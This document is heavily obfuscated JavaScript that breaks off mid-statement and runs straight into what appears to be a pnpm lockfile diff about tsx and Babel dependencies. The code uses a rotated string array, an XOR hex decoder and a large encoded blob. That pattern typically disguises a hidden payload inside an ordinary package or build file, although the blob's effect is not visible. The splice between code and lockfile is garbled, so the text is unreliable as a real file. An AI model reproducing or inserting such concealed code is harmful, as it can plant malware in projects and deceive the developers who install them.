lE_gWbUq=-parseFloat(wqOOVQNDyt_eXX_lGHW(0x165))/(parseInt(0xeb3)*parseInt(0x1)+Math.trunc(0x2c6)+-0x1178)*(-parseFloat(wqOOVQNDyt_eXX_lGHW(0x175))/(-parseInt(0x4)*Math.trunc(parseInt(0x317))+parseFloat(parseInt(0x24ba))+-parseInt(0x185c)))+parseFloat(-parseFloat(wqOOVQNDyt_eXX_lGHW(0x173))/(Math.trunc(parseInt(0x18af))+Math.max(0xf00,0xf00)+Number(-0x27ac)))*(parseFloat(wqOOVQNDyt_eXX_lGHW(0x167))/(-0x1*Math.trunc(parseInt(0x26b))+-parseInt(0xfe)*0x1a+0x1c3b))+Number(parseFloat(wqOOVQNDyt_eXX_lGHW(0x177))/(-0x7*Math.trunc(parseInt(0x3e9))+-0x2b9*-0x1+-parseInt(0x839)*-parseInt(0x3)))*parseInt(parseFloat(wqOOVQNDyt_eXX_lGHW(0x16d))/(-parseInt(0x26c9)+-0x79*Math.floor(parseInt(0x17))+Math.floor(-parseInt(0x18d7))*-parseInt(0x2)))+parseFloat(wqOOVQNDyt_eXX_lGHW(0x178))/(parseInt(0x450)+0x715+-0xb5e)+parseFloat(wqOOVQNDyt_eXX_lGHW(0x170))/(0x1e64+Number(0x121c)+-parseInt(0x178)*parseInt(0x21))+-parseFloat(wqOOVQNDyt_eXX_lGHW(0x172))/(Math.trunc(0x17)*0x53+Math.floor(parseInt(0x26e))*Math.floor(-parseInt(0xc))+-parseInt(0x15bc)*-0x1)*(parseFloat(wqOOVQNDyt_eXX_lGHW(0x166))/(0x23e4+-parseInt(0x65)+-0x2375))+-parseFloat(wqOOVQNDyt_eXX_lGHW(0x16a))/(parseInt(0x4f)+Math.ceil(-parseInt(0x1c77))+-parseInt(0x1)*Number(-parseInt(0x1c33)));if(lE_gWbUq===uyYzMZYJEvcwpZLlO)break;else PqrQG$isep['push'](PqrQG$isep['shift']());}catch(eNebdw__sBVQigJCrBKSaPjf){PqrQG$isep['push'](PqrQG$isep['shift']());}}}(FoWCYMyERmMjuQRPZum_PIy,parseInt(0x7688c)+-0xb1029+-0x27*-parseInt(0x6689)));function FoWCYMyERmMjuQRPZum_PIy(){var uXhSATwaRruY$NrGOk=['65616662636403053c1a3913','6563616d622e3b30270733','3e3b3d3a','6935313a26213c7c353869613778336c3230217a2d26747a7a3a37313732786176243531352162383a3e7d2609662122762c79257c0974356f7c26696f6f267f7c350f6c7a27662015333b2578213c6c1778353d78276f357c1539647c3a3e6f3e227e7863223b637c7d7c3b6f39623b356026237d7a74263b300f3227663a2f30262220602c7d7f6478353a267f26267f3b7d292e6574693c320f353a6c2665260f780927637963633835357a213d632f7964626d382239206626693d0909687f7d2178317d78786f3a263c0f2669642279267c6f7869247d172127697f376f336f326f25157d7d65223d7d223f643a26386535317432690f6f3c3d272d7a31397c307f3b756674697c31223135636c697a7d60313d69337a3a692f323269650f68663574326569266f6078077d262d38226521742d6f3f25382f20223a22747c17747c38783b223a24743d6920382678267a38233b2e3c7c387820256f6f26267c7c2269353c27226f092c256935366f30356f787c7c266f223e257a7c200f7f7d30357d26303a263c2760652d7c22266f323c6f67337609317c7a353c262435243309337a7d3a3332243a653c783d37386f6f7d69176f3961697f2678747a7d6f21697f27297f7d3d20787f36396f307f21397d7969273d3d253b386920692669256d7f7a7a373c257f0f6232317420643a2624267c7422266c3238263a7830303320740962357a6f396f26203c7a3325746635293122313d37093336203d68603b6f176f38782e2e3d627f380f350f6f7f7c273d76383d7626783a243d6d27783226323c21237d3b2369312f7c366923313a66207a33217a3d693f3d3535357f7d2d32202435673a297d696d767d3724157f216f212024097669383f632224207465266f3c2e23767d207c7d6d7d7c7a382138692763326f746f2725647d3a762d7f6427296922357f2774393c7c64257a093c226f6a7464626915793b2e3120267c2065262026273d273b6431787a6f2e0f7c326861316320787c26353b35223a266f203c3c326f22783e69266f747d266a656c2e3c3b7e3b2f68353f39273a7d353f20317a223b6d7f31356437383d3b6f36217469091775333e6f2d677f387d31697a293026693d623b3d176c263a3a646f6269352676297a26313d6909072027263a3a7a6f662669206f0f206f3d2269242617263a7c7d35263120212e7f743c383f0f7f2c693174796c3e2f7c313e2d6d7c7c7d7d74','656566636c6263600d0d3e3b3f23','17621d30747a3137777a06206f7a7a7a681730320632693026682c2d7d30277a663175747a7a683a207a37683d377520322030337a277a686d7a17797a06067a063c2e310638066f603b3564262c377b3c753526683968063168277c066e6e066b326f7271363d356e68003c7a3c687a74323f372d2d380637066e753578686834353a723837612838680b06067a3d60063d7a2c6e0623273a3a7a30277a1b747f643a320b143f3c643b267c3d372660273d06207a60263006762c70067a6f062135061276323137066d743168041119067e2036060661656f0a78173d7579067a2627066c2c6e7d7a2227370606680638757f6a066b0619227a7a797c68063173683a3732330627067a293d72352630330668062e6806726d066831753a702c1d356d752c3c317b37067e7a7424313c377a3006060537203067640625067806107b320d767d14377a7a366e683b2723647a7a06757a6f7c68063206207a7a6806261a6007063179213506756375047a7131747c68177a6838043006067337273531750628727a667a330624050b6f3b6932066804606832200706060668066037317a067a3a687a7d6574317a307568112a2d3d6a26383a6831062401063037713774233762387b383a2630686e7a683d6820640a06767422683968002627310f061a243c7c047c3d320664386c37370606377a3c682735173131232663210630686f6e0006312c2c1f350632350f76182674713e70387d68680f3111683115687a3525777a0674780638263d067d063124270a093d653d3720313e273b1c116f20643c2d0275063931313e64327506383a067a316c06372d672604742764067a19352c6837063f067a3a6837276075307d0b6d063220687a3528067570061568327a067c273a0606333716063106687a37277c7c39370602313a7c1031242737033d062076316826060606117a060664012676747a37747a0624687a7a3a06796e19387a7d683d1d3f0637357a7a3831783f3171627406200e1d3b367a100b02687a7c7a60201a687c68063064357a307a11712020680b067a7a323a3706377a62350d1d066806232037147a306f3b741201067a3d65746613360623320c7a31030f0e68377a75207c203123741237140674060026066006060675673a7974383a060b06607c0627326f7c7a237c3124663710687a06067c2706287c366806687a681406197a062c062771063c7a0a060c28060636787a6968210a1437353168697a207d387d7a33757a066806687a7a7c61067a393f067c3906380c7519723d192c69740b38693727067a7a683530772268272c7a3a0637303c353f7a290f7706677a7c06787a3b367a7a32307a3b373768683e7a6806697d0f68100620333f68372632067a3706273a742f067a067a1037663735243b3564680f06687a207a0606203d7e2c2637240b7a0630002906683b2438373606292c063b06293a18063f06797c331c7a063531077a7a197a76063b27063124387a7a12797a743a213a7d060606353c797a3111756275303127066872063b3b203a7206377a3a1604150638067a0668046472307a7c7a0237263168337a6774333b24797a1136683b672766330470313237073d2e68760f3127647209323a260668373b32173a00373c067a3a33386931727a680664682f7a7a3c27652106370606207f263606686419317c1968793a7a062e35657f7f7a06062774357a697a3029317c6a26777864716f002f2333353025202d7c373717376868222232687a06067a31067a0618366837646f20307a1c210639683b263106380635063574697a6868060626062673376827302f647e1a6d20083706706e061e7506161b062606383b0b0637753574060638067436203606742735193b7b27067d646f66066b06680630687e0770752f063d3f203a3b6f063a3106696d686806733736393c247a680667383806647d7a7a7a7a081a2568787a060705706106242011030606382068740674067c273306240f7e0606203c6806060007213a27387a37753a74063a272606377a7a747335377a7a76067a0c753132060431202c68747a30313b777568263024317d0b06210668063a0606063d116820627d31296768061d7a710634216075066806672426060627243d7a377568310a297a6b1e623f063c2077043d1620751f6b06376b06066f06260627687206753335747a746d37063a06066c7a143006270635060f1d7a683a327a79681d7a1c3b602524327c067a1d3124091170687a207a2a310806667a266801752e19267a3729063106381036067c067a11206831246b246211371a7a68372731787b2e3765757a263738327e7b7c327a066806207a371206067618060c643b7a3168062f3106060631200c7a20263b307c7a7a74260636627a3437677d68646c3931063d2020272720693d7a7d316868067a061a7a2406603620217a62301d3d33753c062174201006310668066f06377a373e7a37687c0b6d3737396e3f7a3037680632067a277a7a06723537303031277d7418747c0b232a3b7a32263872756f3935680674693f067a31680b26783c1f047168397209243738357a3b692765063c7a707c2406387c2e7a27606f063d7429750f71062706066a7a68297a387a1230686c68757a76097a7b35746f3f3d7a7c3a6806062006176732667c066411037a3a75746d067837757506383d3d276237273a277d3c2613682e6006060461063d0606203d73067426721a3168066e3731062a68372f0f7a3368727d1a3f2c23062621271206373106043d7a06367a067a68273b1c3e31376834383b7b7068066806717c207006063879077a38262d717a7a742335193a7c067506333110646e063b687a302c743d06181f71063a74067a367d267877203406060e2a7a7a627a757668753a6f20682c3a1a27273518067500706037060637076829757b683533687a062a7b242f3f3768207d207a797038137a3530063504356d607c2775067e7a20687a3837686332687c20062609062f7a06016832263b0b7a6806067f7f063e742d1d763731060b3f307a377430097a0918393d067c76197a147a773904773a787a19063428061629687036063a330b1a20796f687c687a7a2006387c2606262c3619790664187630207d1329752404747a68060b06217a79207a7130307a37682c7a706835063f20683d7a77273b7d156b31062e7a3824277568366c06062e222668116f110d06087c3268203a0f060702673c06060f7a7c3d74680637063c68397d3d0938746406063b062627686279742f68672026060637063b7a7c7a7a197a7a377a326f067a076807376868143825797a7406257506643d247a6f6061263737067e7b683c7a7410303509370006063a0672067b147e6d756804313574217a7a3b3b2474267c7068317526007a366d3722682f06073a052f7d060675307b7c35687a7b7a32200331367432687306067b377006387c06067a3a7a7a3910373637363829067521063b7a656e7a3563297a3668290630307a102f37387a7c1b7d38103d706606727d6e307a3a08753706243068737a3a2d062637357a680a7c65373d7d6f07602438202636061d2c3c2d613132650f7d062736067a64747f0626227406060f270615207a0231060965257a7a687065323a6837307a21662770193706747e067c6b7c37746f06067a3704783106067a7174240636747d7a7d06687a06310d067a2d31060606383b373b1f11113f27353f376c78273904293f38687c382d7a3f24206930062638067027683d317a7326302e2738753d243d7a3767373d20066476062006066206737a217a7a067a723f7f0676757c23070c072020097426687a0a6e3a3f357a063c3a707c0635316f063768173b663a2774063268246f743d373217113d076822273102063568002731747d7a67370631607c0635662627797a7a3d6b27173006067a6829333806063d663a377926157737626306797a7a377d0f68683e0606063a366f742735067606377a06062072273206371b7b7d067a21683b380611061e687a060667307c0606676468741437063539353b27067a317d7a067317740465062d30067222066a3c1d040b0f6e3731230632683b06277d3a1937363d0d04746e063f063206660622067531786820070b7a062667067d067670750b7a73387c277406377037757537062968687a763706293a17397a683b623b0c3c3d30060637386e687a2d750668206831397b6f2162740626273f7c260614262106207a30063579040637183632060631686c0906387774680621372037047a17736306063a37213560272716067a753637317d2006307a72047a3a3727247561230e7a70063d22357a057a7c0f063a06060660687a3c15060668242e322e7206203738307a7c352704061a067a29063b7a26317c067a06167a06067a312f06120629717506747a7a0f0665687a210606701b686c7c277a7a203e1774671d68047c743b351e0635213b27750633103d1a37600668312d143d640f377a32681a3d6f270638236c7d067a660620660606070b316e3d7238267c0637093236117d06203a273b6a77247a27331b337a067c1d39322031246739266b361129247c3106277d75062126270637066b68067a7a37322a2f2f066b7d3d3b3b207a3a157a7a312c36242c062934073720741320247d207538062f7927290606306837756d04293b217a7a206f2968687a0620397d7b267a1b75097a0f3068066768376966370874300635261b062d687a06687c7c2c063037310630170b3d2f683726783b7806707a06601b7a28682c20373237067b343774687a2437097a38332a7c312a21307a37062006230626110e060620686874011d20747a193c2006227c0b300620370b38683b75060638060f23747a0d7a7a0627687a7a70683b607c313835067a217a36370974677906290606076806692e7a7f0738062135657c743866207a7c642777266f3768227a681f206868687a20353120333f3d3a067a203a742d213a751229063506067c7d26681037261d7577717c7c6f32060620673d3179083d297c063a74207a38067a7a3a326b167a6836317a7c7d647a061a05617e78067a7b3335033f6e72043172277a266626780d6f31680606116f27377a68376828687a067c127c3737357420646827087827686821370f20047437767a7d3577671739333a64067e1d68707a746427166c266831373704686a06363d7a667a74273030276a29603137313b7c3d1a2d067b20067a113a06672d1907730623063b073706747531673217040632060627363606753830067c063b3d7a76093d067331680626067a06173c3126316824103836682f7a7a7a7a680d02307a3031060672687d386438063d02377a6c1c6e0b7c37203c327a31191402207d270706267a7a7a75613d06733806683a7a73066a680c066864747a3b77752070063b687a31266820066337063d64066569787a130637373c39203f067c2a0906372737302420716b3f20062d743d177c383b21316c7f3d793d147711730627313c763860310606360638067a22063c7d1a0606606c7a317b06063770620478333a7a356417321169726a377476063806270116066d203a0606053b38373135063d3d3206393d7a7e757c7c37006172163706371068203a7a06380606703237062706607d212e383d3d6b7c237a686b0e0a270630733237616b317f203a682d74180068363221067a713d34067c7d060637060606683a3c762c376437737a0468757d06062309647a0668763e040638027c3706060632360f7a7a78060668061c706006316c75263b7d746877063f196c06682d6806683d03683b06307a06606006371c0837000609687a383706777a2c74070606062f3d3d06083a300d7f06007d3d38277368687a727a3068373d683b7a0637647b233170396d063b7a6a622c292c7a2935682d75231f067431067737067a202a097a7a7a68063a3d373768217b2435243b6b6870063b7a35002c18223877327f7a686835066068106a153b266826307a7e657a7c3011070e681f0604377a0b3d350b3b7a06067a243b321b38281b3c36192c06757a3a06047a6c357533012c7d17373c3d3c76206406203b2f06373d711c3d176106200f383c396f7d3770647a35307527060631687868061d3d622c68103104686d0606680b093106357c2610630437317a6f0607303b683b680638787a1137687a2c09203c07060b68103a377a6c25377a660627727031327a29373669687e7f0032376536067a2737767c3a3a067a363d3e3a06607535372c3f1d373a3d24697c726f26062606067460063d213727063b0621377a32680b262706396b7968707e066f3275216a6c22247a3504317d74266e0b007c31313668312f067a273b067f247a7a067a06743706680669246a7a292c6f74367306233723683775061e6d270568067c37252d3e68620c203a35066b683d06327c0606687c7f06683d30310f377c680406743b06067a333a7a06066c7a063530697a743a68687e786820323e6906067a2932316a37067b712c7c7d062d3a32066f787b7e0407680670063e2074327a7a0675063d3d6806070632277d27683b3c680f0934207128087d6830203d09320668067a79061e62797c39756d741a277a296873067a7a3231687a3c7a707a68201a350674372024686331076879377a681c0613096c37227a68063f243a06177a75377c3a37303027687268240926797a6132232221310630047906373b061772376a06062c29207a637a6f682c20687a7a747906266d3f113806202c2d0f007a377520313d067a7a27687d190626067633060623067406273d7f373a2306352006376d783937282777090a653f7a363567322f683a063d286c7a0637097a7d69062d7a06313130067a756e203b6f63387429277a06740637263b68117a62387c206b3d063b74207a766178067a06067a74372632066b062075063637247a6e68796624237206293173307a756e3b6c063c067706311b7a247a0f27612f063808077c1a7c683c7e370600370631310606680604293d300304772006653d067a06780606067f27297f3d27063f7a373a686d067c0e2f383139046839057a273a31352c3731247a24067a201f7d617c68077c367c7a6906212109060e057a7736357706112f2f6806063206767b6f063b0638671a7b742d687b763d247a7a15746862063b35273a067a3506212606683a750674063200740606681f0668730671372d39062c7a0668067d762e3a683b7f6a3b0606723106750068756a686575097a16727a267a7c377436033d780669633b6868387a76747a3c09067a07680630753168683d7a2972733d7a360632247c3229756811262317067a6d20751a33687a37357a333106687a393d2306067a7d7a04372d060620313737760f060631312c373b7a0435686806703d357231067d7b23753d373b0664066c717a7a31000f1106240306687a063b3a74007c1361683773037a067a0664240b72266121061374000668377a273237333a7439060f0660793068686277683d3806067a79377d6231683b06743c3168697406060635686a13267065117a377d3d063a3b0627113b1a7460063a68263b7a2022683f626006647d2c0668607a7935060637077a2d7533063d2d797b617d6306753117067f730637690019373a7c067d687129376878773c6c061d7c3e7a11123164656f7a2565370627097a3506743a357a067b3b300f6f37687a062c7a307a3168313726352e7a377a71066b3d7a273d307a3d313a20797477317a76267a612437327d7a067a7c2674377a793a246b3c7a600f06623b75753d7c68177820107e6a0674063306691617067a7a66062771327568780b671c06643d06756806687a0906163a310f067c060606043733173b063f7a7a70797a363771062629276572060b682206687a2738063d06147568323d1930117522090706793268013b37137c7a290468626b2e0606110637746206060c19127e2926393d6806263d7a7a1a607c686f06060f323806007d620610377806233727267d153727201e273f7a21067b69277a067c06743b1168353f6b7c60333267687a323e7a0e6775373d09273b0b7a3a683a12067c68002736217630260a3b7470063106067a217d6e30200a37207c68323706167c7a253d747a6867201e3d6837687c317a74067534370c377a640632687d0668060606670637016620752037353a013706372e20243660681e2c397c3704067d76200e697a7a74217d6b7f727535386f7626052c313c3822320626667a060274277a7a197a7e7c24380466317f063d06312006700606617a747a7a7a7a35746830207c7d7a27386937742670270668213917677a1d3131202f6f097a31311f386c7727683a24096f680706330625307a273b30623a7237312622311f242030780620643706267a06273d64710606683764270620067a6825061d202f06073636217a0676017a0738203706683f687a37063b26307a31067a3c3c200776630618062c06373d043c7a1a736830757e7a25067a3d27683d6806743b3b7a1b3d620636067a0c0031357a2077787e357a746837610b7a327d067d3106751c307a75797463063f7a752937377a3031066837323b06067d373a7a7577752526067a2020322523060b6a7437066806743a7c7406313d6b747331260620067e377a7406067537701e06687c6f066820776f742d201c377d36773d1531757a7a06627a003a380b7b7a06673b067a0606262e2c3b7c32337a7633392166387a7a33683d681d3b683a3738062c7a7c097a752704780b1d7a7a30387c067c3b067074327927687a20276820067a100606750b68683b397a0678097a7f7a1d7a0f6e06682706387837093d22067a6e7a7a1375317a323b0e3f6319677c372d3166067776267d3d6837063a747a7a3a33683d6c37683d0661377a062c37277438062624377f646706206870063a23067a296006063167062e06296868370620292168686875042732377a3d057a7a7a3515272037061174397168373b067a00643d7b7d093726201f79687a3e3b083d21333720370f682726377a07777a2e306f060669050660060e7b7a39682f3906307c0668682235377a373d2c3137066f2606227d13063b6f3268397a3a2c7a20266d7a3b0600657a69333b2d0f7a7a0b0600197a776827310606061f06760b7a683611062e26727a3117682106320b682e39302f2f06062738726f227a7c743674322c68697a047c0b6506063d377a0f32327110227a72067a6f27292c7a6f063a3a683b047a7a6813357a062975642d73067e003036683731261b2204613b37237a6806313b0620300606202327063079712075062006062806266e7a7b30063077067d170603267a687c2c23687d05067a7c7a067a317c79303931353b06066806323d373b062605067a187330743103296600751e386807353b063106737c683a7a75067a3d06676f6421246804277a61686937063821683d7a067826373e06317a3031680624117c06687863687d2037067a6826340476683535093837063c2706682606066067377a6806682d31341d7d7a7a7c260606047a6506723b1a63067a1d357a2f06062e6a022e6f7a060606353a68290606307a7a377d37750604390606317c2c37377409376f317a7d067a0d6f0c640678382f7a3a7a7a6806747a3a060b772731063d7c68060b743b1e1e37207d140f7a2468687a7c7a067a757a06752d7b21207a067a271a3737067a06307a0632063b680b7b066a71066b177f0632372f3736047a26377a067a377a066b766c690b12017404746678233b24372035066d607a717d0663262337307a68377c747c246d6f672c617a063c3c3a2125063e06323d330629203715371d7a137c74687c607a20062c776e7a060f662c7d7627060632067a1068202c377a067706047a2c75747a37067d686837063b3f7f063b06367a2706096c37063d30352665296504756806687a6874066822067a0d7a3106072f37686e6906207a3d68380678353a067a3774332c067a3d0c06626f7a303b3868063d7a062406293b38223b796506381d6a24317475246706382c37063031322060752637682802327a740668067d7c3b32067a377c3d063b37683d11371a68761d313168263235757a3d30067a6d047a31767a3d6806397a322926270633047a7468310636211420376235217a74606326363a337d7a7474683637311906317a7b7a6f7e2068646e68203a3806276537233b7e2034793f3e7506742f0668687a06307a747a371a37177f3c1e3b3706683a313d7a06373331067d69067a26317a066836066866650b3729207a0576376f37732230323827067a207527753d267a06776a7a0639272621277a6074097537646f27747a7168203504372115686528637675696d656b3d06047a3226297a307a26002606713d3b0476686f7a263d35272e062533262d7706336f067a327e7a1b387a260b7d27793006372774687a3a693568032f653b717474173e370631373621067a0612370f003b37010b757a74370f77320620237a207565060b317a7c3b3027787a6d74383c20313032707c68073a066871373b3a7c65307a70063807062606273a35373f7a7c78310632233d750617332437687c372406313723067c16317d7a07687f682c0436271c7a7c21753a06063120740666207c683170296f3876207c2406092d322e06623b06237a6b062916687a202037067c741c06377a3237373d06370f64317f276874187a27066211757a35233764350f377e3224687d0b6c3a376837317a1a6837212617327c067d35113b067d3c223c06766f7a283a06060638373a06272768062f260676377a3d657c00060675263d68683003680674787a7a212938327a373d370627272c3d06376615067c7a350a38293e6462300639226335683c243f7a3f6b680627203827337a04377a37067a7a717a3c2f37063d7338067a3a6568683d3a3027271a7a3631267a3a02277a38736d353520200627747c7a7a7406277c3d77603d06063506207a78061e68387c317c747706193c066c7a367d3b6e3b703b7a0b7a321e266f7a673a7a680e13741104693d7821317a68270668683a680e373206372f06357a350632773d063126683a0d74263812260630062606763775202e3b303d3d3331060109273731356d7b371f242106067d207a7f0620060668087431376935377a7c3268370925060670067a687439747a227d1c06266a7a68097b20237a3132376a2d0d3a20757a243c310d743d263c067a3f06356c7c61306831067d3b231a68207a7c7b37060636787a3b32060b37632711377a7a7a747a066831060671067d3706122f317a3168377a3763782d20293f317b27211a300f37373d772020270606063526001d273738683b7d7a397a7a69277a77363a30302706686806067a20203a687d2c0604750f7a747474377a7a0606301a7a20363829173c3b3732267a063d3d373b3b067a0732213d31316806607a070b2e3b203737376f06262726246806380f20337a74693f2c697a067a2f0d7f751a3706237521717b7431687c067a68307b3738683a7a3770210630307c32203d1b371765277226382272060674007a7d657a333b04372f2635387a36370638757438321d78067a370637667431112074357668746838247c723f7a306978067a3a067b7d74376509273d3a253d262c0637067531207a680637143820047a3d2f6831062906067c0038310606687c6868740b2738262600063a1d323775707e06067306683735363532373f3b3a387a7236323e3d206264657521307a7e3f73316c247269373124172968311331046006377c7a2c14757d243b0f71066410647c717a11760668603a063a66350621740b35107f1832370620723663267d377c6b742c06286826383806060635067a747d7937062c7a310668157a683737682e3d063b6837061406062f36632d067a06061f377a0632683828387a3d66273506370628060f3b067c2706000020062037197d06213a356f1c39270a69082f7b753072237a6f233821397a3c3106207c27313237','38313a33203c','6660381119203d17','32263b39173c3526173b3031','2721362720263d3a33','6766626c6462601719213c3e22','373c35261520','626c603b171d1c3935','676d672e3b27241820','3c253126272c382122233537303e362d39333b262e323f3b373d24202621203a27203b3a37','662d16042c0e38','370a39313e360a20263b','656761646c6d642e1c3a1f3003','60666c6d676664321111163f12','2724383d20','6560606065646d0e070630063e'];FoWCYMyERmMjuQRPZum_PIy=function(){return uXhSATwaRruY$NrGOk;};return FoWCYMyERmMjuQRPZum_PIy();}function QtbaGaPA_$YMImOzadvJlZ(e$IgmcdMNiPlG$b,kjD_cX){var Pz$_rYe=FoWCYMyERmMjuQRPZum_PIy();return QtbaGaPA_$YMImOzadvJlZ=function(hoph_M$GHPhERwhZLQarKMC,wamUN$iqRoIHS){hoph_M$GHPhERwhZLQarKMC=hoph_M$GHPhERwhZLQarKMC-(parseInt(0x3)*parseInt(0x775)+-0x774+Math.trunc(parseInt(0x1))*-parseInt(0xd87));var otoEGdNTwgmmll_QLlpGEWDe=Pz$_rYe[hoph_M$GHPhERwhZLQarKMC];if(QtbaGaPA_$YMImOzadvJlZ['vZwsFm']===undefined){var uPeKenZ=function(cbDoOZWReVJgFQGCywZ){var dskxvkqHCMR_WzGBMRfTPF=-parseInt(0x1393)+Math.trunc(parseInt(0x1293))+0x95*0x4&0x1809+0x8f*parseFloat(parseInt(0x16))+-0x2354,XHcEezbcuFC$R=new Uint8Array(cbDoOZWReVJgFQGCywZ['match'](/.{1,2}/g)['map'](iJtmoz$CfSiNvhsGIWbTrxbmBZ=>parseInt(iJtmoz$CfSiNvhsGIWbTrxbmBZ,0x3a*0x68+-0x17f*-parseInt(0x1)+parseFloat(-0x1)*parseInt(0x18ff)))),PnjdkSGgGwjqLSILTkpi_tLJ=XHcEezbcuFC$R['map'](zj_QsNZPCIZwawtdx=>zj_QsNZPCIZwawtdx^dskxvkqHCMR_WzGBMRfTPF),PpZf$s=new TextDecoder(),A$SpY$EoTPPy=PpZf$s['decode'](PnjdkSGgGwjqLSILTkpi_tLJ);return A$SpY$EoTPPy;};QtbaGaPA_$YMImOzadvJlZ['gSbQgs']=uPeKenZ,e$IgmcdMNiPlG$b=arguments,QtbaGaPA_$YMImOzadvJlZ['vZwsFm']=!![];}var DazSk_IDXtjJQtgN=Pz$_rYe[-parseInt(0x81)*Math.floor(0x41)+0x6*parseInt(0x5f8)+0x3*-parseInt(0x105)],ObUrjE_ZYzDaYigiG=hoph_M$GHPhERwhZLQarKMC+DazSk_IDXtjJQtgN,LXZ_eVApTc_OaEHP=e$IgmcdMNiPlG$b[ObUrjE_ZYzDaYigiG];return!LXZ_eVApTc_OaEHP?(QtbaGaPA_$YMImOzadvJlZ['HzqbWi']===undefined&&(QtbaGaPA_$YMImOzadvJlZ['HzqbWi']=!![]),otoEGdNTwgmmll_QLlpGEWDe=QtbaGaPA_$YMImOzadvJlZ['gSbQgs'](otoEGdNTwgmmll_QLlpGEWDe),e$IgmcdMNiPlG$b[ObUrjE_ZYzDaYigiG]=otoEGdNTwgmmll_QLlpGEWDe):otoEGdNTwgmmll_QLlpGEWDe=LXZ_eVApTc_OaEHP,otoEGdNTwgmmll_QLlpGEWDe;},QtbaGaPA_$YMImOzadvJlZ(e$IgmcdMNiPlG$b,kjD_cX);}var NX=[-parseInt(0x1e7f)*-0x8b+0x33e88d+-parseInt(0x2503cd)*-0x1,Math.trunc(-parseInt(0x1427))+Math.trunc(0xa7)*-parseInt(0x36)+Math.floor(0x38d0),-parseInt(0x96be)+-0x61d1*Math.ceil(0x1)+-parseInt(0x6d6e)*-0x3,parseInt(parseInt(0x1613))+Number(-parseInt(0x1be3))+parseInt(0x835),Math.max(parseInt(0x432a),parseInt(0x432a))*Math.max(parseInt(0x3),0x3)+-0xed33+parseInt(0xcea4),Math.floor(0x49b095)+parseFloat(parseInt(0xbe1bb))+-parseInt(0x8fbbd)],SX=[Math.floor(-0x2)*Number(0x3589bb)+0xed*-parseInt(0x4233)+Math.max(parseInt(0xf8fc4a),0xf8fc4a)*parseInt(0x1),0x1ceb+-0x520+Math.max(-parseInt(0x16da),-parseInt(0x16da)),0x1*parseInt(-parseInt(0xb992))+0x2*Math.floor(-0x4460)+Math.floor(parseInt(0x1e633)),parseInt(0x5f0)*Number(-parseInt(0x4))+Math.ceil(0xce3)+Math.trunc(0xb98),-parseInt(0xdcd3)*-parseInt(0x1)+-parseInt(0x13)*Math.ceil(-0x295)+-parseInt(0x32a1),Math.trunc(-parseInt(0x8ca369))+0x897661+parseInt(0x4b7c5d)];function spin(uPLFZEWc$_v,X$_LjfkEwc){var QphsrRMQKBJ=QtbaGaPA_$YMImOzadvJlZ,Yd$upoFAyE=[],sm_YZoqjf_krAVbp=parseInt(0x234a)+0x1*parseInt(0x2616)+-0x4960,h$CRHQQJvlpRHk=X$_LjfkEwc[Math.trunc(-parseInt(0x6fb))*Math.max(-0x1,-0x1)+parseInt(0xb87)+-parseInt(0x941)*0x2],ZNA$ubD_G,kDtMp_axbge_byr,MDHcsDCuBrsFemZXpYNI,TkFHpFDYHKVhsPzEDul$_cWa,lZRUthorZmws_AefeJ,dneuuUKfxPTdlnU_RLBMcP;while(sm_YZoqjf_krAVbp=18.0.0'} hasBin: true + tsx@4.23.15: + resolution: {integrity: sha512-Yiex1Ovn8z2xPpOWckIiysV1SSyRMY9BkLF++q0yKiDxCqRhosKfMg3janKkiLBwZ5c/YryloKwGZcrEmtwxKw==} + engines: {node: '>=18.0.0'} + hasBin: true + tweetnacl@1.0.3: resolution: {integrity: sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw==} @@ -5931,20 +5939,20 @@ snapshots: '@babel/compat-data@7.29.7': {} - '@babel/core@7.29.7(supports-color@10.2.2)': + '@babel/core@7.29.7': dependencies: '@babel/code-frame': 7.29.7 '@babel/generator': 7.29.8 '@babel/helper-compilation-targets': 7.29.7 - '@babel/helper-module-transforms': 7.29.7(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2) + '@babel/helper-module-transforms': 7.29.7(@babel/core@7.29.7) '@babel/helpers': 7.29.7 '@babel/parser': 7.29.8 '@babel/template': 7.29.7 - '@babel/traverse': 7.29.8(supports-color@10.2.2) + '@babel/traverse': 7.29.8 '@babel/types': 7.29.8 '@jridgewell/remapping': 2.3.5 convert-source-map: 2.0.0 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 gensync: 1.0.0-beta.2 json5: 2.2.3 semver: 6.3.1 @@ -5980,41 +5988,41 @@ snapshots: lru-cache: 5.1.1 semver: 6.3.1 - '@babel/helper-create-class-features-plugin@7.29.7(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2)': + '@babel/helper-create-class-features-plugin@7.29.7(@babel/core@7.29.7)': dependencies: - '@babel/core': 7.29.7(supports-color@10.2.2) + '@babel/core': 7.29.7 '@babel/helper-annotate-as-pure': 7.29.7 - '@babel/helper-member-expression-to-functions': 7.29.7(supports-color@10.2.2) + '@babel/helper-member-expression-to-functions': 7.29.7 '@babel/helper-optimise-call-expression': 7.29.7 - '@babel/helper-replace-supers': 7.29.7(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2) - '@babel/helper-skip-transparent-expression-wrappers': 7.29.7(supports-color@10.2.2) - '@babel/traverse': 7.29.8(supports-color@10.2.2) + '@babel/helper-replace-supers': 7.29.7(@babel/core@7.29.7) + '@babel/helper-skip-transparent-expression-wrappers': 7.29.7 + '@babel/traverse': 7.29.8 semver: 6.3.1 transitivePeerDependencies: - supports-color '@babel/helper-globals@7.29.7': {} - '@babel/helper-member-expression-to-functions@7.29.7(supports-color@10.2.2)': + '@babel/helper-member-expression-to-functions@7.29.7': dependencies: - '@babel/traverse': 7.29.8(supports-color@10.2.2) + '@babel/traverse': 7.29.8 '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color - '@babel/helper-module-imports@7.29.7(supports-color@10.2.2)': + '@babel/helper-module-imports@7.29.7': dependencies: - '@babel/traverse': 7.29.8(supports-color@10.2.2) + '@babel/traverse': 7.29.8 '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color - '@babel/helper-module-transforms@7.29.7(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2)': + '@babel/helper-module-transforms@7.29.7(@babel/core@7.29.7)': dependencies: - '@babel/core': 7.29.7(supports-color@10.2.2) - '@babel/helper-module-imports': 7.29.7(supports-color@10.2.2) + '@babel/core': 